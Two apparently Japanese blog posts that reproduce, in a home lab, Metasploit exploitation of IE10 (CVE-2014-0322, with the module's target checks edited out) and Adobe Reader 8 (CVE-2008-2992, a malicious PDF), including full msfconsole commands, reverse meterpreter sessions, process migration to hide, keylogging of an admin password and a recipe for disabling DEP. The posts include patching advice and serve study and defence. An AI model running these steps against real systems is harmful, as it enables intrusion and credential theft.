Exploit in Internet Explorer 10 (CVE-2014-0322; Operation Snowman)

前回の例は少々古かったので、新しめのセキュリティ ホールを使ったスクリプトを紹介。これは Metasploit Unleashed からの引用ではなく、metasploit のスクリプトを眺めていたら見つけました。コードは↓です。

metasploit-framework/ms14_012_cmarkup_uaf.rb at master · rapid7/metasploit-framework · GitHub
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

CVE での識別子は CVE-2014-0322。

CVE – CVE-2014-0322
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0322

これは Internet Explorer の脆弱性で、修正は MS14-012 というセキュリティ情報にて報告されています。以下のようなマイクロソフトのセキュリティ情報は見たことがある人も多いのではないでしょうか。

Microsoft Security Bulletin MS14-012 – Critical
https://technet.microsoft.com/library/security/ms14-012

マイクロソフト セキュリティ情報 MS14-012 – 緊急
https://technet.microsoft.com/ja-jp/library/security/ms14-012.aspx

この MS14-012 は、2014 年 3 月の Windows Update の日 (巷で Patch Tuesday と言われる第二火曜日。2014 年 3 月であれば 3 月 11 日。) に KB2925418 としてリリースされています。

MS14-012: Cumulative security update for Internet Explorer: March 11, 2014
http://support.microsoft.com/kb/2925418/en

Windows Update を使えば勝手に更新が検出されますが、個別にダウンロードする場合は、OS と IE バージョン毎にパッケージが用意されていますので、自分の環境に合ったパッケージを入手してインストールして下さい。例えば IE10/Win8/x64 用のパッケージは以下のリンクからダウンロードできます。

Internet Explorer 10 in Windows 8 x64 Edition (KB2925418)
http://www.microsoft.com/en-us/download/details.aspx?id=42210

MS14-012 のページに戻り、CVE 番号 CVE-2014-0322 で検索すると、"When this security bulletin was issued, had Microsoft received any reports that these vulnerabilities are being exploited?" というセクションにおける CVE-2014-0322 のところの答えが "Yes. Microsoft is aware of limited, targeted attacks that attempt to exploit this vulnerability in Internet Explorer 10." となっています。つまり、パッチがリリースされる前に攻撃が確認されていたということです。いわゆるゼロデイ攻撃です。

MITRE のページにおける References のリンクにある FireEye というアメリカのセキュリティ会社のブログに注目です。どうやら彼らがこの脆弱性に対するゼロデイ攻撃を 2/11 に検出したそうです。そこから Microsoft と FireEye のチームが共同で調査して、3 月 11 日に修正がリリース、というのが発見からクローズまでの流れでしょうか。技術的な部分は細かいところまで FireEye のブログに書かれています。彼らはこの攻撃を Operation Snowman と名付けたそうです。雪だるま作戦?

http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/new-ie-zero-day-found-in-watering-hole-attack-2.html
http://www.fireeye.com/blog/uncategorized/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html

サンプル付きの解説だと、ここが詳しそうです。まだちゃんと読んでいない・・。

HDW Sec – Blog
http://hdwsec.fr/blog/CVE-2014-0322.html

長くなった前置きはここまでにして、実際に metasploit を動かしてみましょう。その前に。当ブログにて提供している情報、リンク先などにより、いかなる損失や損害などの被害が発生しても責任を追いかねますのでご了承ください。また、実際に Penetration Test を行う際は、システム管理者への事前通知を行い、許可を貰った上で実施してください。

手元の環境では IE10/Windows 8 x64 のプラットフォームで攻撃が有効でした。その他、IE8/Win7、IE9/Win7、IE11/Win8.1 を試しましたが攻撃失敗・・・。IE10 以外には効果がないのかもしれませんが詳細は不明。IE10/Win7 の環境はまだ試していないのでそのうち。というかプラットフォームの組み合わせが多すぎる。IE は 6 から 11 まで、OS は XP から 8.1 までとか超多い。IE9 までは WOW64 (32bit on 64bit) の iexplore.exe と Win64 の iexplore.exe の両方あるし、Win8 以降だと Desktop と Moden App・・・。どうなってるんだ Windows。

気を取り直して metasploit 側での作業。モジュールを読み込んで、Web サーバーを開始するだけです。ペイロードはおなじみ、meterpreter/reverse_tcp で。なんと簡単なのでしょう。

msf > use exploit/windows/browser/ms14_012_cmarkup_uaf
msf exploit(ms14_012_cmarkup_uaf) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf):

   Name        Current Setting  Required  Description
   —-        —————  ——–  ———–
   Retries     false            no        Allow the browser to retry the module
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)

Exploit target:

   Id  Name
   –  —-
   0   Windows 7 SP1 / IE 10 / FP 12

msf exploit(ms14_012_cmarkup_uaf) > set SRVHOST 10.10.10.80
SRVHOST => 10.10.10.80
msf exploit(ms14_012_cmarkup_uaf) > set URIPATH snowman
URIPATH => snowman
msf exploit(ms14_012_cmarkup_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms14_012_cmarkup_uaf) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(ms14_012_cmarkup_uaf) > set LPORT 4455
LPORT => 4455
msf exploit(ms14_012_cmarkup_uaf) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf):

   Name        Current Setting  Required  Description
   —-        —————  ——–  ———–
   Retries     false            no        Allow the browser to retry the module
   SRVHOST     10.10.10.80      yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     snowman          no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   —-      —————  ——–  ———–
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     10.10.10.80      yes       The listen address
   LPORT     4455             yes       The listen port

Exploit target:

   Id  Name
   –  —-
   0   Windows 7 SP1 / IE 10 / FP 12

msf exploit(ms14_012_cmarkup_uaf) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455
msf exploit(ms14_012_cmarkup_uaf) > [*] Using URL:
http://10.10.10.80:8080/snowman
[*] Server started.

 

今回犠牲になっていただく IE10 on Windows 8 x64 の環境。IE の更新バージョンが KB2718695 となっていることから分かるように、IE の更新プログラムは適用していません。

image

http://10.10.10.80:8080/snowman を開きます。すると、"Exploit requirement(s) not met" とかいうメッセージが出ます。要件を満たしていないようです。なんて attacker-friendly な攻撃用スクリプト・・。

msf exploit(ms14_012_cmarkup_uaf) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455
msf exploit(ms14_012_cmarkup_uaf) > [*] Using URL:
http://10.10.10.80:8080/snowman
[*] Server started.
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Request: /snowman
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Gathering target information.
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Sending response HTML.
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Request: /snowman/LHfaA/
[*] 10.10.10.96      ms14_012_cmarkup_uaf – Request: /snowman/PVOsGk/
[!] 10.10.10.96      ms14_012_cmarkup_uaf – Exploit requirement(s) not met: os_flavor, flash. For more info: http://r-7.co/PVbcgx

このモジュールのコードは /usr/share/metasploit-framework/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb にあるので、それを確認すると、以下のような前提条件の定義らしき部分が見つかります。赤字の部分が怒られた条件です。確かに、OS は Windows 8 だし。

‘BrowserRequirements’ =>
  {
    :source      => /script|headers/i,
    :os_name     => Msf::OperatingSystems::WINDOWS,
    :os_flavor   => Msf::OperatingSystems::WindowsVersions::SEVEN,
    :ua_name     => Msf::HttpClients::IE,
    :ua_ver      => ‘10.0’,
    :mshtml_build => lambda { |ver| ver.to_i < 16843 },
    :flash       => /^1[23]\./
  },

Flash のバージョンを確認 (ツール > アドオンの管理) すると、11 でした。

image

オリジナルのモジュールを変更したくはないので、適当に名前を変えて /root/.msf4/modules/exploits/windows/browser/ にコピーします。ms14_012_cmarkup_uaf_noreq.rb という名前にしました。んで編集。といっても怒られたところをコメントアウトしただけです。Ruby も覚えないトナー。

      ‘BrowserRequirements’ =>
        {
          :source      => /script|headers/i,
          :os_name     => Msf::OperatingSystems::WINDOWS,
#          :os_flavor   => Msf::OperatingSystems::WindowsVersions::SEVEN,
          :ua_name     => Msf::HttpClients::IE,
          :ua_ver      => ‘10.0’,
          :mshtml_build => lambda { |ver| ver.to_i < 16843 },
#          :flash       => /^1[23]\./
        },

モジュール ファイルは、msfconsole を起動したときに読み込まれるので、msfconsole を再起動します。モジュール名で ms14_012_cmarkup_uaf_noreq を指定している以外は、先ほどと同じです。

msf exploit(ms14_012_cmarkup_uaf) > exit

[*] Server stopped.
alice@kali:~$ sudo msfconsole
[sudo] password for alice:
_                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings — learn more on
http://rapid7.com/metasploit

       =[ metasploit v4.9.3-2014072301 [core:4.9 api:1.0] ]
+ — –=[ 1334 exploits – 804 auxiliary – 227 post        ]
+ — –=[ 346 payloads – 35 encoders – 8 nops             ]
+ — –=[ Free Metasploit Pro trial:
http://r-7.co/trymsp ]

msf > use exploit/windows/browser/ms14_012_cmarkup_uaf_noreq
msf exploit(ms14_012_cmarkup_uaf_noreq) > set SRVHOST 10.10.10.80
SRVHOST => 10.10.10.80
msf exploit(ms14_012_cmarkup_uaf_noreq) > set URIPATH snowman
URIPATH => snowman
msf exploit(ms14_012_cmarkup_uaf_noreq) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms14_012_cmarkup_uaf_noreq) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(ms14_012_cmarkup_uaf_noreq) > set LPORT 4455
LPORT => 4455
msf exploit(ms14_012_cmarkup_uaf_noreq) > show options

Module options (exploit/windows/browser/ms14_012_cmarkup_uaf_noreq):

   Name        Current Setting  Required  Description
   —-        —————  ——–  ———–
   Retries     false            no        Allow the browser to retry the module
   SRVHOST     10.10.10.80      yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     snowman          no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   —-      —————  ——–  ———–
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     10.10.10.80      yes       The listen address
   LPORT     4455             yes       The listen port

Exploit target:

   Id  Name
   –  —-
   0   Windows 7 SP1 / IE 10 / FP 12

msf exploit(ms14_012_cmarkup_uaf_noreq) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455
msf exploit(ms14_012_cmarkup_uaf_noreq) > [*] Using URL:
http://10.10.10.80:8080/snowman
[*] Server started.

IE10 から http://10.10.10.80:8080/snowman を開くと・・・今度は侵入成功です。実は百発百中というわけではなく、まれに侵入に失敗して、IE が単純にクラッシュするだけになることも。

msf exploit(ms14_012_cmarkup_uaf_noreq) > run
[*] Exploit running as background job.

[*] Started reverse handler on 10.10.10.80:4455
msf exploit(ms14_012_cmarkup_uaf_noreq) > [*] Using URL:
http://10.10.10.80:8080/snowman
[*] Server started.
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Gathering target information.
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Sending response HTML.
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/cSKqY/
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/fHEwZx/
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Sending HTML…
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/fHEwZx/zxqcZz.swf
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Sending SWF…
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/fHEwZx/zxqcZz.swf
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Sending SWF…
[*] Sending stage (769536 bytes) to 10.10.10.96
[*] Meterpreter session 1 opened (10.10.10.80:4455 -> 10.10.10.96:49237) at 2014-08-11 23:37:31 -0700
[*] Session ID 1 (10.10.10.80:4455 -> 10.10.10.96:49237) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: IEXPLORE.EXE (776)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3004
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Request: /snowman/fHEwZx/
[*] 10.10.10.96      ms14_012_cmarkup_uaf_noreq – Target with tag "ZCVaVZ" wants to retry the module, not allowed.
[+] Successfully migrated to process

msf exploit(ms14_012_cmarkup_uaf_noreq) > sessions

Active sessions
===============

  Id  Type                   Information                        Connection
  –  —-                   ———–                        ———-
  1   meterpreter x86/win32  CONTOSO\administrator @ WIN8AMD64  10.10.10.80:4455 -> 10.10.10.96:49237 (10.10.10.96)

msf exploit(ms14_012_cmarkup_uaf_noreq) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > sysinfo
Computer        : WIN8AMD64
OS              : Windows 8 (Build 9200).
Architecture    : x64 (Current Process is WOW64)
System Language : ja_JP
Meterpreter     : x86/win32
meterpreter >

侵入が成功すると自動的に、iexplore.exe から notepad.exe に隠れ蓑を移します。Windows 側からみると、IE のタブが一つクラッシュして自動的に回復されたかのように見えるだけです。プロセスを注意深く見ると、前回の例のようにウィンドウのない notepad.exe が見つかるのですが、まあ普通は気づかないでしょう。今回は Windows Defender のリアルタイム保護も有効になっていますが、ブラウザー上での出来事なので何も検出できず。

侵入されている状態の Windows 8
image

今回は Windows 8 をデフォルト設定のまま使っているので、DEP はもちろん有効になっています。また、Vista 以降に導入された ASLR (= Address space layout randomization, DLL などのロード先やヒープ位置のランダム化) も有効になっており、これらを回避した上での攻撃です。このセキュリティ ホールは、Use-After-Free vulnerability という、既に解放されたヒープ場のバッファー アドレス位置を保持しているポインター変数を利用する比較的ホットなセキュリティ ホールの種類です。

2 回連続で metasploit を使った攻撃の再現を行いました。次回は攻撃されているプロセスをデバッガーから見てみようかと。もし、もっと面白い攻撃事例が見つかればそれを紹介しますが。その方が楽だし。

広告

Exploit in Adobe Reader 8 (CVE-2008-2992)

このサイトのチュートリアルが素晴らしい。

Metasploit Unleashed
http://www.offensive-security.com/metasploit-unleashed/Main_Page

今回はその中から↓を取り上げます。

Client Side Exploits – Metasploit Unleashed
http://www.offensive-security.com/metasploit-unleashed/Client_Side_Exploits

内容が内容なだけに、免責事項を。当ブログにて提供している情報、リンク先などにより、いかなる損失や損害などの被害が発生しても責任を追いかねますのでご了承ください。また、実際に Penetration Test を行う際は、システム管理者への事前通知を行い、許可を貰った上で実施してください。

さて上述の記事は、実際に見つかった Adobe Reader 8 の脆弱性を攻撃するコードです。この脆弱性自体は、CVE-2008-2992 としてファイルされ、2008 年 11 月に Adobe 社から修正パッチがリリースされています。バージョンでいうと、Adobe Reader 8.1.2 までのバージョンに脆弱性があり、8.1.3 から修正が含まれています。

CVE – CVE-2008-2992
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992

Adobe – Security Advisories : APSB08-19 – Security Update available for Adobe Reader 8 and Acrobat 8
http://www.adobe.com/support/security/bulletins/apsb08-19.html

CVE とは、アメリカの NPO である MITRE が管理している脆弱性情報データベースです。

脆弱性情報データベース – Wikipedia
http://ja.wikipedia.org/wiki/%E8%84%86%E5%BC%B1%E6%80%A7%E6%83%85%E5%A0%B1%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9

作業自体は前回の例と大して変わりません。msfconsole 上で PDF を生成し、攻撃対象のコンピューター上で Adobe Reader 8.1.2 を使って開くだけです。

まずは、Kali Linux 上で PDF を生成。

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILENAME CVE-2008-2992.pdf
FILENAME => CVE-2008-2992.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/fileformat/adobe_utilprintf):

   Name      Current Setting    Required  Description
   —-      —————    ——–  ———–
   FILENAME  CVE-2008-2992.pdf  yes       The file name.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   —-      —————  ——–  ———–
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     10.10.10.80      yes       The listen address
   LPORT     4455             yes       The listen port

Exploit target:

   Id  Name
   –  —-
   0   Adobe Reader v8.1.2 (Windows XP SP3 English)

msf exploit(adobe_utilprintf) > run

[*] Creating ‘CVE-2008-2992.pdf’ file…
[+] CVE-2008-2992.pdf stored at /root/.msf4/local/CVE-2008-2992.pdf

msf exploit(adobe_utilprintf) >

攻撃対象のコンピューターを用意し、生成された PDF をコピーします。

  • OS: Windows XP SP3 (32bit)
    – 他の OS バージョンについては後述
    – Windows Update は実行せず、他のパッチは無し (インストールしても結果は変わらないはず)
  • Adobe Reader 8.1.2
    ftp://ftp.adobe.com/pub/adobe/reader/ からダウンロード可能

今回犠牲になる Adobe Reader 8.1.2 on Windows XP SP3。
image

PDF を開く前に、msfconsole で、攻撃対象コンピューターからのアクセスを待機します。

msf exploit(adobe_utilprintf) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 10.10.10.80
LHOST => 10.10.10.80
msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler…

では、PDF を開きます。XP 視点での動作は、Adobe Reader がハングアップしたように見えるだけです。

Adobe Reader ハングアップ中。
image

一方 msf 側は、XP へ侵入できています。

msf exploit(handler) > exploit

[*] Started reverse handler on 10.10.10.80:4455
[*] Starting the payload handler…

[*] Sending stage (769536 bytes) to 10.10.10.90
[*] Meterpreter session 1 opened (10.10.10.80:4455 -> 10.10.10.90:1094) at 2014-08-11 11:23:59 -0700

meterpreter > sysinfo
Computer        : XPSP3
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : ja_JP
Meterpreter     : x86/win32

実は AcroRd32.exe が 10.10.10.80:4455 とセッションを確立している。
image

今の状態は、単純に AcroRd32.exe から msf へ TCP セッションが貼られているだけなので、ユーザーがハングアップに痺れを切らしてプロセスを終了させるとセッションが失われます。その前に攻撃者は、別のプロセスを隠れ蓑にすることが可能です。

meterpreter > run post/windows/manage/migrate

[*] Running module against XPSP3
[*] Current server process: AcroRd32.exe (520)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1512
[+] Successfully migrated to process 1512

これにより、XP 側では AcroRd32.exe が終了し、notepad.exe (PID=1512) が開始されます。しかしユーザー側にはメモ帳のウィンドウは見えません。あくまでも、少しの間ハングアップしていた Adobe Reader がクラッシュして終了したように見えるだけです。

notepad.exe が動いているがウィンドウが見えない。存在しない PID=520 がセッションを持っているように見える。
image

この状態になるとユーザーは普通気づかないでしょう。ログオフしてプロセスが失われるまでの間に、そのユーザーの権限内であれば何でもできます。試しに、スクリーン ショットとキー ロガーを動かしてみました。キー ロガーを動かしている間に XP 側で runas コマンド実行してみます。愚かなユーザーよ・・・。

meterpreter > screenshot
Screenshot saved to: /home/alice/OCEGNZxE.jpeg
meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against XPSP3
[*] Starting the keystroke sniffer…
[*] Keystrokes being saved in to /root/.msf4/loot/20140811113307_default_10.10.10.90_host.windows.key_705718.txt
[*] Recording keystrokes…

^C

[*] Saving last few keystrokes…
[*] Interrupt
[*] Stopping keystroke sniffer…
meterpreter >

キャプチャ画像 OCEGNZxE.jpeg。色は変だが文字は十分読み取れる。
OCEGNZxE

これがキー ストロークのログ。XP 側が日本語キーボードなので一部の記号が正しく記録されていませんが (というか入力ミス多すぎだろ自分w)、ここからパスワードを盗むのは簡単そうです。

alice@kali:~$ cat /root/.msf4/loot/20140811113307_default_10.10.10.90_host.windows.key_705718.txt
Keystroke log started at 2014-08-11 11:33:07 -0700
runas /user+admi <Back>  <Back>  <Back>  <Back>  <Back> ;contoso]ad <Back>  <Back>  <Back>  administ
rator cmd <Return> p’ssw0rd <Return> ehoc he <Back>  <Back>  <Back>  <Back>  <Back>  <Back> cho
hello  <Back> a <Back>   <Back> ! <Return>
alice@kali:~$

ユーザーが notepad.exe を終了させると、セッションは失われます。

notepad.exe とともに PID=520 のセッションも消えた
image

msf 側。

meterpreter >
[*] 10.10.10.90 – Meterpreter session 1 closed.  Reason: Died

msf exploit(handler) >

以上から、exe ファイルを実行せずとも、PDF を開いただけでアウトという脆弱性も存在するということが分かります。これがよく言われる、無暗にメールの添付ファイルを開くな、という注意喚起の背景のです。この脆弱性は、Adobe Reader 8 の JavaScript エンジンがバッファー オーバー フローを引き起こすセキュリティー ホールを攻撃するものですが、同じようなことは、ブラウザーやメーラーなどでも起こり得ます。OS や各ソフトウェアに最新パッチをインストールすることが、ユーザー側の対策の基本中の基本です。

この脆弱性も、Adobe Reader を 8.1.3 をインストールすれば起こりません。この場合、白紙の PDF が開かれて終わりです。念のため最新版の 11.0.0.7 でもテストしましたが、問題ありませんでした。リグレッション テストがいい加減だと、過去のセキュリティー ホールが別バージョンで再発する可能性も 0 ではありません。なお、こういったセキュリティ ホールの修正コード自体は、NULL チェックや if 文を一つ追加するだけとかの単純な変更だったりします。

Adobe Reader 8.1.3 on XP – 普通に開ける
image

どうやって reverse_tcp を実行できたのか、というのが最も興味深いところ (というかそれを学ばないと意味がない・・) ですが、それは時間がかかるので後に回すとして、XP 以降の Windows だとどうなるでしょうか。Windows Vista SP2/Windows 7 SP1/Windows 8.1 Update 1 のデフォルト設定で試したところ、システムに入り込むことはできませんでした。また、生成した PDF ファイルは、Windows Defender が有効になっていればトロイの木馬 (Trojan:Win32/Swrort.A) として検出/駆除されます。

Vista 以降の OS だとプロセスが強制的にクラッシュする (32bit/64bit での動作は同じ)
image

「デフォルト設定で」 と記したように、実はある設定を変えることによって Windows 8.1 でもこの脆弱性を攻撃することができますし、逆に Windows XP をガードすることもできます。その設定が DEP (=Data Execution Prevention, データ実行防止) と呼ばれる機能です。つまり、単純に OS が偉くなったわけではなく、OS のデフォルト設定がセキュリティーを強化する方向に変化しているということです。(もちろん OS も偉くなっていますが)

データ実行防止とは
http://windows.microsoft.com/ja-jp/windows-vista/what-is-data-execution-prevention

データ実行防止 – Wikipedia
http://ja.wikipedia.org/wiki/%E3%83%87%E3%83%BC%E3%82%BF%E5%AE%9F%E8%A1%8C%E9%98%B2%E6%AD%A2

単純に言えば DEP とは、プロセスの仮想メモリ空間のうち、実行可能な部分を制限する機能です。しかるべきどころにコードを挿入しないと、コードを実行する前に異常を検知されて OS によってプロセスが終了されてしまうという防御がはたらきます。今回の PDF ファイルでは、実行するコードが実行可能なページとしてマークされていないところに差し込まれていたのでしょう。スタック オーバーフローですし。

DEP の設定箇所はコントロール パネルにあります。Windows 8.1 だと・・・ (重要なところなので日本語 OS の例で・・)

  1. スタート ボタン右クリック > [コントロール パネル] をクリック
  2. [システムとセキュリティ] をクリック
  3. [システム] をクリック
  4. [システムの詳細設定] をクリック
  5. [パフォーマンス] の [設定] ボタンをクリック
  6. [データ実行防止] タブをクリック

操作めんどくさすぎ、という方は、[ファイル名を指定して実行] から sysdm.cpl または systempropertiesadvanced.exe を実行して下さい。XP にも同じ設定があります。

Vista 以降のデフォルト設定
image

Adobe Reader に対して DEP を無効にするには、[次に選択するものを除くすべてのプログラムおよびサービスについて DEP を有効にする] を選択して "C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe" (64bit OS であれば "C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" ) を追加すればいいか、というと、単純にそれはできません。以下のように 「このプログラムは、データ実行防止 (DEP) を有効にして実行する必要があります。このプログラムでは DEP を無効にすることはできません。」 というダイアログが出て怒られてしまいます。

image

こんなの "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" とかいうレジストリに値を直接入れればいいんでないの、という情報もありましたが、それでも動きません。なぜなら、AcroRd32.exe のイメージ ヘッダーにある DllCharacteristics という値で IMAGE_DLLCHARACTERISTICS_NX_COMPAT (0x100) フラグが ON になっているからです。

IMAGE_OPTIONAL_HEADER structure (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx

ちなみにこの設定、Visual Studio で作ったプログラムでも規定で有効になっています。リンク時のオプションに /NXCOMPAT:NO をつければ無効にできます。

image

 

整理するとこんな感じ。

  • 重要な Windows のプログラムおよびサービスについてのみ有効にする (=OptIn, Vista 以降のデフォルト)
    → AcroRd32.exe は 「重要な Windows のプログラム」 ではないが、NX_COMPAT フラグが ON になっているので DEP 有効
  • 次に選択するものを除くすべてのプログラムおよびサービスについて DEP を有効にする (=OptOut)
    → AcroRd32.exe の NX_COMPAT フラグが ON になっているので追加できない。レジストリで強引に追加しても設定は無視される。

そこで、もし AcroRd32.exe に対する DEP をどうしても無効にしたい場合、選択肢は 2 つ。

  • DEP 設定を全体的に無効 (=AlwaysOff)
  • AcroRd32.exe の NX_COMPAT フラグを OFF

DEP を無効にするためには、管理者権限を持つコマンド プロンプトで "bcdedit /set nx alwaysoff" と実行してコンピューターを再起動すれば OK です。これで、システム全体で DEP が無効になるので危険な状態になります。もちろん非推奨です。

C:\MSWORK>bcdedit

Windows ブート マネージャー
——————————–
identifier              {bootmgr}
device                  partition=\Device\HarddiskVolume1
description             Windows Boot Manager
locale                  ja-JP
inherit                 {globalsettings}
integrityservices       Enable
default                 {current}
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30}
displayorder            {current}
toolsdisplayorder       {memdiag}
timeout                 30

Windows ブート ローダー
——————————–
identifier              {current}
device                  partition=C:
path                    \Windows\system32\winload.exe
description             Windows 8.1
locale                  ja-JP
inherit                 {bootloadersettings}
recoverysequence        {26af70de-0031-11e4-9bff-ebb2e3739b30}
integrityservices       Enable
recoveryenabled         Yes
allowedinmemorysettings 0x15000075
osdevice                partition=C:
systemroot              \Windows
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30}
nx                      OptIn
bootmenupolicy          Standard

C:\MSWORK> bcdedit /set nx alwaysoff
この操作を正しく終了しました。

C:\MSWORK>bcdedit

Windows ブート マネージャー
——————————–
identifier              {bootmgr}
device                  partition=\Device\HarddiskVolume1
description             Windows Boot Manager
locale                  ja-JP
inherit                 {globalsettings}
integrityservices       Enable
default                 {current}
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30}
displayorder            {current}
toolsdisplayorder       {memdiag}
timeout                 30

Windows ブート ローダー
——————————–
identifier              {current}
device                  partition=C:
path                    \Windows\system32\winload.exe
description             Windows 8.1
locale                  ja-JP
inherit                 {bootloadersettings}
recoverysequence        {26af70de-0031-11e4-9bff-ebb2e3739b30}
integrityservices       Enable
recoveryenabled         Yes
allowedinmemorysettings 0x15000075
osdevice                partition=C:
systemroot              \Windows
resumeobject            {26af70dc-0031-11e4-9bff-ebb2e3739b30}
nx                      AlwaysOff
bootmenupolicy          Standard

C:\MSWORK>

二つ目の選択肢は、AcroRd32.exe そのものを編集してしまう方法です。これは、Visual Studio もしくは Windows SDK に含まれている EDITBIN.exe を使えば可能です。フラグの状態は dumpbin で確認できます。

/NXCOMPAT
http://msdn.microsoft.com/en-us/library/ms235338.aspx

D:\MSWORK> copy "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe" "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.NX.exe"
        1 file(s) copied.

D:\MSWORK> dumpbin /headers "\\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe"
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file \\10.10.20.70\c$\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe

PE signature found

File Type: EXECUTABLE IMAGE

FILE HEADER VALUES
             14C machine (x86)
               4 number of sections
        46444E37 time date stamp Fri May 11 04:06:31 2007
               0 file pointer to symbol table
               0 number of symbols
              E0 size of optional header
             103 characteristics
                   Relocations stripped
                   Executable
                   32 bit word machine

OPTIONAL HEADER VALUES
             10B magic # (PE32)
            8.00 linker version
            3000 size of code
           4E000 size of initialized data
               0 size of uninitialized data
            3402 entry point (00403402)
            1000 base of code
            4000 base of data
          400000 image base (00400000 to 00451FFF)
            1000 section alignment
            1000 file alignment
            4.00 operating system version
            0.00 image version
            4.00 subsystem version
               0 Win32 version
           52000 size of image
